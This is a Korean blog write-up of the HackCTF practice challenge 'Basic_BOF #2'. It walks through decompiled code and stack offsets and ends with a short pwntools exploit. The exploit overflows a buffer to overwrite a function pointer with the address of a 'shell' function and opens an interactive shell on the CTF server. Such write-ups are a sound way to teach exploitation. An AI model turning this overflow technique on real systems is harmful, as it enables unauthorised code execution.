본문 바로가기

Write-Up/HackCTF

[HackCTF] Basic_BOF #2

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}

s = epb-8Ch = 140

V5 = ebp-Ch = 12

140 - 12 = 128

ret
sfp
V5
s

fgets =133

sup을 형변환을 통해 v5변수에 넣어주고 , v5호출한다.

fgets로 133개 밖에 못받아 ret까지 bof를 발생시키지 못하므로 1번문제와는 조금 다르게 접근해야 할 것 같다.

IDA를 보면 shell이라는 함수가 있다.

return address를 shell의 주소값으로 변조해주면 될 것 같다.

0x0804849b

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3001)
pay = b"A"*128
pay +=p32(0x0804849B)
p.sendline(pay)
p.interactive()

 

'Write-Up > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2021.05.16
[HackCTF] x64 Buffer Overflow  (0) 2021.05.16
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.05.15
[HackCTF] Basic_FSB  (0) 2021.05.15
[HackCTF] Basic_BOF #1  (0) 2021.05.15